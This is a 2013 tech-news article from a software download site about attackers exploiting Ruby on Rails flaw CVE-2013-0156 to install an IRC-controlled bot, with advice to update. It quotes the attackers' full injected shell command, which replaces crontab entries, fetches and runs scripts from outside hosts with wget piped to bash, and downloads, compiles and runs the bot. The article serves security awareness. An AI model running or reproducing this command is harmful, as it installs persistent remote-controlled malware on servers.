Providing Free and Editor Tested Software Downloads
< HOME | TUTORIALS | GEEK-CADE| WEB TOOLS | YOUTUBE | NEWSLETTER | DEALS! | FORUMS | >

MajorGeeks.com - This is the first download of the rest of your geeky lives.

Software Categories

All In One Tweaks
Android
Antivirus & Malware
Appearance
Back Up
Browsers
CD\DVD\Blu-Ray
Covert Ops
Drivers
Drives (SSD, HDD, USB)
Games
Graphics & Photos
Internet Tools
Linux Distros
MajorGeeks Windows Tweaks
Multimedia
Networking
Office & Productivity
System Tools

Other news

· How To and Tutorials
· Life Hacks and Reviews
· Way Off Base
· MajorGeeks Deals
· News
· Off Base
· Reviews




spread the word

· YouTube
· Facebook
· Instagram
· Twitter
· Pintrest
· RSS/XML Feeds
· News Blur
· Yahoo
· Symbaloo

about

· Top Freeware Picks
· Malware Removal
· Geektionary
· Useful Links
· About Us
· Copyright
· Privacy
· Terms of Service
· How to Uninstall

top downloads

1. GS Auto Clicker
2. Macrium Reflect FREE Edition
3. Smart Defrag
4. Sergei Strelec's WinPE
5. FlyOobe / Flyby11
6. MusicBee
7. Visual C++ Redistributable Runtimes AIO Repack
8. K-Lite Mega Codec Pack
9. Unlocker
10. CCleaner Portable
More >>

top reads

Star Windows 10 Not Dead Yet - You Can Still Get Updates For Free

Star What is a '400 Bad Request - Request Header or Cookie Too Large' Error and How to Fix It

Star How to Fix Windows Install Error 0xC1900101

Star How to Force Enable Windows 10 Extended Security Updates If The Option Is Not Showing

Star Windows 11 25H2 is Out: What’s New and How to Get It Now.

Star Star Trek Fleet Command Promo Codes: Redeem Codes for Free Shards, Blueprints And Resources

Star Boost Your PC Speed with ReadyBoost: How a Thumb Drive Can Enhance Your System's Performance

Star 5 Hidden Windows Tools You’ve Had All Along But Never Use

Star Use the Windows 10 Media Creation Tool Before Support Ends For Windows 10 in 2025

Star Fedora 42 - It Might Be the Prettiest Linux Yet


MajorGeeks.Com » News » May 2013 » Ruby on Rails still vulnerable unless updated

Ruby on Rails still vulnerable unless updated


Posted by: Tim Tibbetts on 05/29/2013 03:36 PM [ comments Comments ]


Ruby on Rails, (ROR), has a hole in it that allows attackers to attempt to compromise servers. Successful intruders install a bot that waits for instructions on an IRC channel. On his blog, security expert Jeff Jarmoc reports that the criminals are trying to exploit one of the vulnerabilities described by CVE identifier 2013-0156.

The holes were closed back in January, but many servers on the net are probably still infected because they are running an obsolete version of Ruby.

Jarmoc says that the attackers attempt to inject the following commands:

crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget 88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget 88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k

This injection causes the bot (K.C) to be downloaded, compiled and executed. Source code is also on Jarmoc's blog. "k" tries to contact an IRC server hosted at the cvv4you.ru domain and then joins the #rails channel on that IRC server. Jarmoc says that k can be instructed to download and execute arbitrary code. The IRC server has since become unavailable – at least on this address.

Evidence of the bot appears in the process list as "-bash". When launched, it also creates a file called /tmp/tan.pid to ensure only one instance of the bot is executed. Those who run a server with Ruby on Rails should always make sure to have the current RoR version installed. The current versions of Ruby on Rails are 3.2.13, 3.1.12 and 2.3.18.




« New iPhone and Android features for better tweeting · Ruby on Rails still vulnerable unless updated · Desktop CPU Comparison Guide Rev. 13.3 and more (15 Reviews) @ NT Compatible »




Comments
comments powered by Disqus

MajorGeeks.Com » News » May 2013 » Ruby on Rails still vulnerable unless updated

© 2000-2025 MajorGeeks.com
Powered by Contentteller® Business Edition